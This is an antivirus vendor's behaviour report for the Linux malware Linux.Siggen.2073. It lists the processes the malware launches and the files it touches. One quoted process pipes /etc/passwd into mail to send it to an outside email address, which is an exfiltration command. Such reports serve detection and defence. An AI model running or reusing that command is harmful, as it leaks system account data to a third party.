Linux.Siggen.2073
Added to the Dr.Web virus database:
2019-08-14
Virus description added:
2019-08-14
Technical Information
Malicious functions:
Gains root privileges
Launches itself as a daemon
Launches processes:
- sh -c cat /etc/passwd|mail -s 'syntax210.. 1535' elzorg@gmail.com
- cat /etc/passwd
- mail -s syntax210.. 1535 elzorg@gmail.com
- /usr/sbin/sendmail send-mail -i -- elzorg@gmail.com
- /usr/sbin/exim4 -Mc 1hxfZu-0000B9-CI
- /usr/sbin/exim4 #-E1hxfZu-0000B9-CI
- /usr/sbin/exim4 -Mc 1hxfZv-0000BE-Dq
Performs operations with the file system:
Modifies file access rights:
- /var/spool/exim4/input/1hxfZu-0000B9-CI-D
- /var/spool/exim4/input/hdr.691
- /var/spool/exim4/msglog/1hxfZu-0000B9-CI
- /var/spool/exim4/input/1hxfZv-0000BE-Dq-D
- /var/spool/exim4/input/hdr.696
- /var/spool/exim4/input/hdr.693
- /var/spool/exim4/msglog/1hxfZv-0000BE-Dq
- /var/spool/exim4/input/1hxfZv-0000BE-Dq-J
- /var/mail/user
Creates symlinks:
Creates or modifies files:
- /tmp/mail.RsXXXXxbpnxN
- /tmp/mail.RsXXXXxbpnxN (deleted)
- /tmp/mail.RsXXXXZykiWo
- /tmp/mail.RsXXXXZykiWo (deleted)
- /var/spool/exim4/input//1hxfZu-0000B9-CI-D
- /var/spool/exim4/input/1hxfZu-0000B9-CI-D
- /var/spool/exim4/input//hdr.691
- /var/spool/exim4/input/hdr.691
- /var/spool/exim4/msglog//1hxfZu-0000B9-CI
- /var/spool/exim4/msglog/1hxfZu-0000B9-CI
- /var/log/exim4/mainlog
- /var/spool/exim4/db/retry.lockfile
- /var/spool/exim4/input//1hxfZv-0000BE-Dq-D
- /var/spool/exim4/input/1hxfZv-0000BE-Dq-D
- /var/spool/exim4/input//hdr.696
- /var/spool/exim4/input/hdr.696
- /var/spool/exim4/msglog//1hxfZv-0000BE-Dq
- /var/spool/exim4/msglog/1hxfZv-0000BE-Dq
- /var/spool/exim4/input//hdr.693
- /var/spool/exim4/input/hdr.693
- /var/spool/exim4/input//1hxfZv-0000BE-Dq-J
- /var/mail/user.lock.box-i386.5d533e10.000002bc
- /var/mail/user
- /var/spool/exim4/input/1hxfZv-0000BE-Dq-J
Deletes files:
- /tmp/mail.RsXXXXxbpnxN
- /tmp/mail.RsXXXXZykiWo
- /var/spool/exim4/msglog//1hxfZu-0000B9-CI
- /var/spool/exim4/input//1hxfZu-0000B9-CI-D
- /var/spool/exim4/input//1hxfZu-0000B9-CI-H
- /var/spool/exim4/input//1hxfZu-0000B9-CI-J
- /var/mail/user.lock.box-i386.5d533e10.000002bc
- /var/mail/user.lock
- /var/spool/exim4/msglog//1hxfZv-0000BE-Dq
- /var/spool/exim4/input//1hxfZv-0000BE-Dq-D
- /var/spool/exim4/input//1hxfZv-0000BE-Dq-H
- /var/spool/exim4/input//1hxfZv-0000BE-Dq-J
Network activity:
Awaits incoming connections on ports:
Establishes connection:
DNS ASK:
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
このウェブサイトを継続して訪問する場合、訪問者に関する統計データを収集するためのCookieファイルおよび他のテクノロジーを弊社が利用することに同意したものとします。詳細